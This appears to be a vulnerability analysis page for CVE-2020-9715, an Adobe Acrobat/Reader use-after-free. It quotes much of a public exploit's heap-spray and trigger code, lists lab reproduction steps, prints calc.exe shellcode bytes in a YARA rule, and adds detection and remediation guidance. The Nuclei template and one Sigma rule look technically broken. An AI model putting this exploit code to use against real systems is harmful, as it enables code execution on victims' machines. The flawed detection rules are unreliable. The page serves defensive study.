UNKNOWN CVSS: N/A โ€ข 2026-04-19

CVE-2020-9715: Adobe Acrobat/Reader Use-After-Free Arbitrary Code Execution

Analysis of CVE-2020-9715, a critical UAF vulnerability in Adobe Acrobat/Reader leading to arbitrary code execution, leveraged in the wild.

CVE-2020-9715: Adobe Acrobat/Reader Use-After-Free Arbitrary Code Execution

Executive Summary

CVE-2020-9715 is a critical Use-After-Free (UAF) vulnerability affecting Adobe Acrobat and Adobe Reader. Vulnerable versions include 2020.009.20074 and earlier, 2020.001.30002, 2017.011.30171 and earlier, and 2015.006.30523 and earlier. This vulnerability resides within the embedded ECMAScript (JavaScript) engine, which is heavily utilized by malicious PDF documents to automate actions upon opening.

Successful exploitation allows an attacker to achieve Arbitrary Code Execution (ACE) with the privileges of the current user. The vulnerability has been cataloged in the CISA Known Exploited Vulnerabilities (KEV) catalog, indicating active exploitation in the wild. Attackers can craft malicious PDFs that, when opened, trigger the UAF condition, corrupt internal memory structures, establish arbitrary read/write primitives, and ultimately execute arbitrary code via control flow hijacking.

Risk Assessment:

  • Severity: Critical (KEV Status: Active Exploitation).
  • Attack Vector: Network/Local (Malicious PDF delivery).
  • Impact: Full system compromise via arbitrary code execution.
  • Target Audience: Document processors, legal/financial sectors, and any environment relying on Adobe's PDF ecosystem.

โš  No Runnable Lab

Important: There is currently no Vulhub or Docker-based reproduction path for CVE-2020-9715. Adobe Acrobat/Reader is a desktop-native application with no Linux containerized variant suitable for automated lab execution. The vulnerability targets the Windows-based JavaScript engine and memory layout specific to the desktop client.

To reproduce this vulnerability, you must set up a Windows environment (Virtual Machine recommended) with a vulnerable version of Adobe Acrobat or Reader installed. Automated lab launch instructions are not available for this CVE. Researchers should proceed with manual setup and appropriate isolation measures.


Technical Deep Dive

Vulnerability Mechanics

The core issue is a Use-After-Free error within the JavaScript engine's handling of internal objects. The vulnerability allows a malicious script to free a JavaScript object and subsequently access it, leading to a state where the object's metadata is corrupted or repurposed.

Heap Feng Shui and Object Priming

Exploitation relies heavily on heap grooming (Feng Shui) to ensure that freed memory is reclaimed and reallocated with attacker-controlled data in a predictable manner.

  1. Fake Object Construction: The attacker allocates a large array of ArrayBuffer objects (arrA). Each buffer is sized to match the internal structure of Adobe's JSObject or ArrayObject. The buffers are populated with crafted bytes that mimic internal pointers:

    • Shape Pointer: Points to the object's shape class.
    • Type/Slot/Element Pointers: Mismatched or controlled pointers to facilitate type confusion.
    • Capacity/Length Fields: Set to 0xFFFF to simulate array bounds.

    This creates a pool of "fake" objects that, if leaked into the freed list, will be interpreted correctly by the JavaScript engine.

  2. String Spray and GC Control: To force the Garbage Collector (GC) into a deterministic state, the exploit sprays a secondary array (arrB) with strings of a specific size. Nulling every other slot helps control the GC's allocation bins, increasing the probability that the UAF object will be overwritten by a pre-sprayed fake buffer.

UAF Trigger and Corruption

The exploit maintains a reference to a target object (e.g., this.dataObjects[0]). Upon triggering the vulnerability, the object is freed, but the reference remains valid in the script context.

The attacker then writes a crafted double-precision floating-point value to a specific offset (0x1FEE) of the freed object:

fakeArrObj[0x1FEE] = 2.12199579047120666927013567069E-314;

In IEEE-754 double format, this value corresponds to the hex pattern 0x0000000000000001. Writing this to the object's memory corrupts internal type flags or element pointers. When the engine subsequently processes the corrupted object, it interprets the memory layout as pointing to one of the pre-sprayed ArrayBuffer structures in arrA.

Arbitrary Read/Write Primitive

The corruption causes a mismatch in metadata checks. Specifically, the exploit iterates through arrA looking for a buffer where byteLength becomes -1 (or a corrupted value). Finding such a buffer confirms that the fake header successfully overwrote a live object's memory.

The attacker then creates a DataView around this corrupted buffer. Because the internal pointers have been hijacked, reads and writes via DataView map to an arbitrary heap region controlled by the attacker, establishing an Arbitrary Read/Write (R/W) primitive.

Address Leaking and ROP Chain Setup

With arbitrary R/W, the exploit:

  1. Leaks Base Addresses: Reads out-of-bounds memory to locate the base address of the ECMAScript module (EScriptModAddr) and resolves the VirtualProtect API from the module's export table.
  2. Shellcode Injection: Writes a hardcoded x86 shellcode (executing calc.exe in the PoC) into the controlled heap region.
  3. Control Flow Hijack: Overwrites a function pointer or vtable entry within a DataView object's shape class with a jump target inside the JS engine.
  4. Execution: Prepares a VirtualProtect call via the R/W primitive to mark the shellcode page executable, then forces the JS engine to dereference the hijacked pointer, transferring execution to the shellcode.

PoC Analysis

The Proof of Concept (PoC) for CVE-2020-9715 demonstrates the full exploitation chain in JavaScript. The exploit leverages the DataView API for precise memory reads/writes and constructs the UAF trigger within a PDF document context.

PoC Repository:
https://github.com/lsw29475/CVE-2020-9715

The following excerpt illustrates the heap priming and UAF trigger logic from exp.js:

var FAKE_ARRAY_JSOBJ_ADDR = 0x5D00005C;

var arrA = new Array(0x8000);
for (var i = 0; i < arrA.length; i++) {
    arrA[i] = new ArrayBuffer(0x10000 - 0x10 - 0x8);
    var tempDV = new DataView(arrA[i]);
    //shape
    tempDV.setUint32(0x4, FAKE_ARRAY_JSOBJ_ADDR + 0x10, true);
    //type
    tempDV.setUint32(0x8, FAKE_ARRAY_JSOBJ_ADDR + 0x50, true);
    //slot
    tempDV.setUint32(0xC, 0, true);
    //elements
    tempDV.setUint32(0x10, FAKE_ARRAY_JSOBJ_ADDR + 0x80, true);

    //shape.base_
    tempDV.setUint32(0x14, FAKE_ARRAY_JSOBJ_ADDR + 0x20, true);

    //shape.base.clasp
    tempDV.setUint32(0x24, FAKE_ARRAY_JSOBJ_ADDR + 0x40, true);
    //shape.base.flag(HAD_ELEMENTS_ACCESS)
    tempDV.setUint32(0x34, 0x1000, true);

    //shape.type.clasp
    tempDV.setUint32(0x54, FAKE_ARRAY_JSOBJ_ADDR + 0x60, true);

    //flag
    tempDV.setUint32(0x74, 0, true);
    //initializedLenght  
    tempDV.setUint32(0x78, 0xFFFF, true);
    //capacity  
    tempDV.setUint32(0x7C, 0xFFFF, true);
    //length
    tempDV.setUint32(0x80, 0xFFFF, true);
}

var ESObjectSize = 0x48;
var arrB = new Array(0x1500);
var SparyStrA = "A".repeat(0x200);
for (var i = 0; i < arrB.length; i++) {
    arrB[i] = SparyStrA.substring(0, (ESObjectSize / 2) - 1).toUpperCase();
}

for (var i = 0; i < arrB.length; i += 0x2) {
    arrB[i] = null;
    arrB[i] = undefined;
}

function triggerUAF() {
    var arrC = new Array(0x3000);
    var SparyStrB = unescape("%u005C%u5D00").repeat(0x200)
    for (var i = 0; i < arrC.length; i++) {
        arrC[i] = SparyStrB.substr(0, (ESObjectSize / 2) - 1).toUpperCase();
    }

    var fakeArrObj = this.dataObjects[0];
    fakeArrObj[0x1FEE] = 2.12199579047120666927013567069E-314;

    for (var i = 0; i < arrA.length; i++) {
        if (arrA[i].byteLength == -1) {
            var curruptArrayBuffer = arrA[i];
            var rwDV = new DataView(arrA[i]);
        }
    }
    // ... R/W primitives and shellcode execution follow ...
}

Analysis of Key Sections:

  • Heap Priming (arrA): The loop constructs 0x8000 buffers with carefully crafted headers. The offsets 0x4, 0x8, 0xC, etc., correspond to the internal structure of Adobe's JS objects. The fake addresses (0x5D00005C) are relative to the expected base layout.
  • Spray (arrB): Strings are sprayed to control the heap layout and ensure the target object is freed into a predictable bin.
  • Trigger: Writing the double value to 0x1FEE corrupts the object. The subsequent check arrA[i].byteLength == -1 verifies the corruption success, indicating that the DataView now maps to the forged object.
  • Shellcode: The PoC includes a shellcode array that resolves WinExec and ShellExecute to launch calc.exe, demonstrating full control flow hijacking.

Exploitation Walkthrough

For security engineers wishing to validate the vulnerability in a controlled lab environment, follow these steps:

Prerequisites

  • Windows 10/11 Virtual Machine.
  • Adobe Acrobat Reader DC (v2020.001.30002 or earlier).
  • Crucial: Disable all automatic updates for Adobe Reader to maintain the vulnerable version.
  • Network isolation recommended, though this is a local exploit.

Step-by-Step Reproduction

  1. Prepare the Malicious PDF:

    • Use the provided PoC exp.js embedded within a PDF document.
    • The exploit relies on execution context; typically, this is triggered via this.dataObjects or similar context variables accessible in the PDF's JavaScript sandbox.
    • Ensure the PDF is set to execute JavaScript automatically on open (autoRun or similar action).
  2. Launch and Trigger:

    • Open the malicious PDF in the vulnerable Reader.
    • Observe the JavaScript console for execution traces if debugging is enabled.
    • The exploit will perform heap spraying, trigger the UAF, and establish the R/W primitive.
  3. Verification:

    • If successful, calc.exe will launch, confirming arbitrary code execution.
    • In a debugging session, you would observe a crash in a freed memory region or a jump to the injected shellcode address after VirtualProtect modifies memory permissions.
  4. Debugging Tips:

    • Attach WinDbg to AcroRd32.exe before opening the PDF.
    • Use sxe ld:js3250.dll to break on JS engine load.
    • Monitor for access violations in freed memory or unexpected calls to VirtualProtect.

Detection & Monitoring

While signature-based detection is challenging due to the polymorphic nature of PDF exploits, behavioral and artifact-based detection can aid in incident response.

Sigma Detection Rules

1. Adobe Acrobat Suspicious JavaScript Execution

Detects execution of JavaScript within Acrobat that interacts with ArrayBuffer or DataView, which are often abused in heap exploits.

title: Adobe Acrobat Suspicious JavaScript Engine Access
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects Acrobat executing JavaScript that accesses ArrayBuffer or DataView objects, common in UAF exploits.
logsource:
    product: acrobat
    category: javascript_execution
detection:
    selection:
        ProcessName: 'AcroRd32.exe'
        CommandLine|contains:
            - 'ArrayBuffer'
            - 'DataView'
    condition: selection
level: high
tags:
    - attack.execution
    - attack.defense_evasion
    - cve.2020.9715

2. Unusual Process Spawn from Acrobat

Detects Acrobat spawning system utilities, a common indicator of RCE post-exploitation.

title: Adobe Acrobat Spawning System Utility
id: 1b2c3d4e-5f6a-7b8c-9d0e-1f2a3b4c5d6e
status: stable
description: Detects Adobe Acrobat spawning commands like calc.exe, cmd.exe, or powershell.exe.
logsource:
    product: windows
    category: process_creation
detection:
    selection:
        ParentImage: 'C:\Program Files\Adobe\Acrobat\*\AcroRd32.exe'
        Image|endswith:
            - 'calc.exe'
            - 'cmd.exe'
            - 'powershell.exe'
            - 'wscript.exe'
            - 'cscript.exe'
    condition: selection
level: critical
tags:
    - attack.execution
    - attack.defense_evasion

Nuclei Detection Template

A Nuclei template can be used to check for vulnerable versions via version enumeration:

id: CVE-2020-9715-version-check
info:
  name: CVE-2020-9715 Version Detection
  author: ilovethreats
  severity: info
  description: Checks if Adobe Reader version is vulnerable to CVE-2020-9715.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-9715
  classification:
    cve_id: CVE-2020-9715
  metadata:
    vendor: adobe
    product: acrobat_reader
requests:
  - method: GET
    path:
      - "{{BaseURL}}/api/version" # Placeholder; real detection requires local agent or file analysis
    matchers-condition: or
    matchers:
      - type: word
        words:
          - "2020.001"
          - "2017.011"
        condition: and

YARA Rule for Exploit Artifacts

The PoC contains a distinct shellcode pattern. This YARA rule can detect the shellcode in memory dumps or extracted PDF content:

rule CVE_2020_9715_PoC_Shellcode {
    meta:
        description = "Detects shellcode pattern from CVE-2020-9715 PoC"
        author = "ilovethreats"
        date = "2026-04-19"
        cve = "CVE-2020-9715"
    strings:
        $shellcode = { fc e8 82 00 00 00 00 00 64 a1 30 00 00 00 a1 50 00 00 00 50 a1 60 00 00 00 8b 0c 51 8b 52 0c 8b 14 52 8b 28 8b 72 28 0f b7 2a 31 ff 31 c0 ac 3c 61 7c 02 2c 20 c1 cf 0d 01 c7 e2 f2 52 52 52 8b 10 8b 4a 3c 8b 4c 11 78 e3 48 01 d1 51 8b 59 20 01 d3 8b 34 8b 01 d6 31 ff ac c1 cf 0d 01 c7 38 e0 75 f4 03 7d f8 3b 7d 24 75 e2 58 8b 58 24 01 db 8b 4b 0c 8b 58 1c 01 db 8b 04 8b 89 d0 89 44 24 24 5b 5b 61 59 5a 51 ff e0 58 5f 5a 8b 12 8b 42 08 8b 5a 10 8b 5a 14 ff d0 5f 5e 59 59 8b 04 95 89 04 24 ff 78 78 5a ff d5 00 56 63 6c 61 63 2e 65 78 65 00 }
    condition:
        $shellcode at 0
}

Remediation Guidance

Patching

  • Immediate Action: Update Adobe Acrobat and Adobe Reader to the latest versions released by Adobe. The vulnerability affects versions up to:
    • 2020.009.20074
    • 2020.001.30002
    • 2017.011.30171
    • 2015.006.30523
  • Verification: Confirm the installed version via Help > About Adobe Acrobat within the application.

Workarounds and Mitigations

If patching is not immediately feasible, implement the following mitigations:

  1. Disable JavaScript:

    • Navigate to Edit > Preferences > JavaScript.
    • Uncheck "Enable Acrobat JavaScript".
    • Note: This may break legitimate document functionality.
  2. Application Control:

    • Use Windows AppLocker or WDAC to restrict Acrobat's ability to spawn child processes or write to executable memory regions.
  3. Network Segmentation:

    • Isolate systems processing untrusted PDFs. Prevent lateral movement if a compromise occurs.
  4. CISA BOD 22-01 Compliance:

    • For cloud services or critical infrastructure, follow BOD 22-01 guidance: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
  5. Threat Intelligence Integration:

    • Deploy endpoint detection and response (EDR) solutions capable of detecting heap exploitation techniques and JavaScript engine anomalies.

References

  1. NVD Entry: CVE-2020-9715
  2. Vendor Advisory: Adobe Security Bulletin APSB20-09
  3. CISA KEV Catalog: CVE-2020-9715
  4. PoC Repository: lsw29475/CVE-2020-9715
  5. Adobe Product Versions: Adobe Versioning

Analysis conducted by the ilovethreats.com research team. For questions or collaboration on CVE analysis, contact our team.

๐Ÿงช Lab Environment

A hands-on lab environment for this vulnerability is not yet available. Our automated builder is continuously adding new labs โ€” check back soon!

When available, you'll get:
  • ๐Ÿ”ฌ A vulnerable target instance to practice exploitation
  • ๐Ÿ–ฅ๏ธ Browser-based Kali Linux with pre-installed tools
  • ๐Ÿ”’ Completely isolated network โ€” no internet access
  • โฑ๏ธ 1-hour session with automatic cleanup